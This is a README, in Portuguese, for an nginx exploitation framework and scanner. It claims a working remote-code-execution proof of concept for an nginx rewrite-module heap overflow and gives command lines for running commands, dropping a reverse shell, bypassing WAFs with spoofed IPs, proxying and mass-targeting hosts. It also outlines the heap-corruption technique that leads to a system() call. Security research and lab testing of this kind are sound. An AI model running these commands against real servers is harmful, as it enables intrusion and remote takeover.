nGixshell

nGixShell é um scanner de CVEs do nginx e um framework de exploração RCE. Ele inclui uma prova de conceito funcional para CVE-2026-42945 — um estouro de buffer crítico no heap em ngx_http_rewrite_module — e um scanner que abrange 53 CVEs do nginx com sondas HTTP automatizadas, fingerprinting, detecção/contorno de WAF, auditoria de segurança web e geração de relatórios.

Zero dependências externas. Apenas a stdlib do Python 3.

Início Rápido

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Nenhuma flag necessária — apontar a ferramenta para um alvo executa tudo automaticamente.
TLS é detectado automaticamente. O nginx é identificado mesmo com server_tokens off.

Uso

python3 ngixshell.py [TARGET] [OPÇÕES]

Formatos de TARGET:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modos

Detecção e Contorno de WAF

Técnicas de contorno (todas ativas quando --waf-bypass está definido):

WAFs detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Auditoria Web

Executada automaticamente no modo de scan. Todos os módulos podem ser ignorados individualmente.

• Auditoria de cabeçalhos — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, cabeçalhos que vazam versão
• Descoberta de caminhos — 50+ caminhos; sonda sentinela elimina falsos positivos de regras catch-all 403/301
• Enumeração de virtual hosts — requer diferença de status E corpo para evitar falsos positivos de bloqueio padrão
• Auditoria TLS — testa suporte TLS 1.0–1.3, expiração de certificado e detecção de autoassinados
• stub_status — analisa métricas de conexão ativa de /nginx_status se exposto

Conexão

HTTP

Taxa / Temporização

Saída

Cobertura de CVE

53 entradas abrangendo 2009–2026. Ordenadas por CVSS.

O Bug (CVE-2026-42945)

O motor de script de rewrite do nginx usa um modelo de duas passagens: calcular o tamanho do buffer, depois copiar. A flag is_args é definida no motor principal quando uma substituição de rewrite contém ?, mas a passagem de cálculo de comprimento executa em um sub-motor recém-zerado:

• Passagem de comprimento — vê is_args = 0 → retorna o comprimento bruto da captura
• Passagem de cópia — vê is_args = 1 → chama ngx_escape_uri(NGX_ESCAPE_ARGS), expandindo cada byte inseguro para 3 bytes

A cópia estoura o buffer de heap subdimensionado com dados de URI controlados pelo atacante. A exploração corrompe um ponteiro de limpeza ngx_pool_t adjacente via heap feng shui entre requisições, redirecionando-o para um ngx_pool_cleanup_s falso que chama system() na destruição do pool.

Versões Afetadas

Advisory do fornecedor: https://my.f5.com/manage/s/article/K000160932

Configuração do Laboratório

Testado no Ubuntu 24.04 LTS. Requer Docker e Python 3.8+.

# Iniciar o laboratório vulnerável (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Varredura completa
python3 ngixshell.py 127.0.0.1:19321

# RCE com saída JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — payload bash, upgrade automático de PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Varredura com contorno de WAF e IP falsificado
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Através de proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Varredura de subdomínios com limitação de taxa
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Múltiplos alvos, saída JSON, relatório HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Aviso

Apenas para testes autorizados de segurança, competições CTF e pesquisa.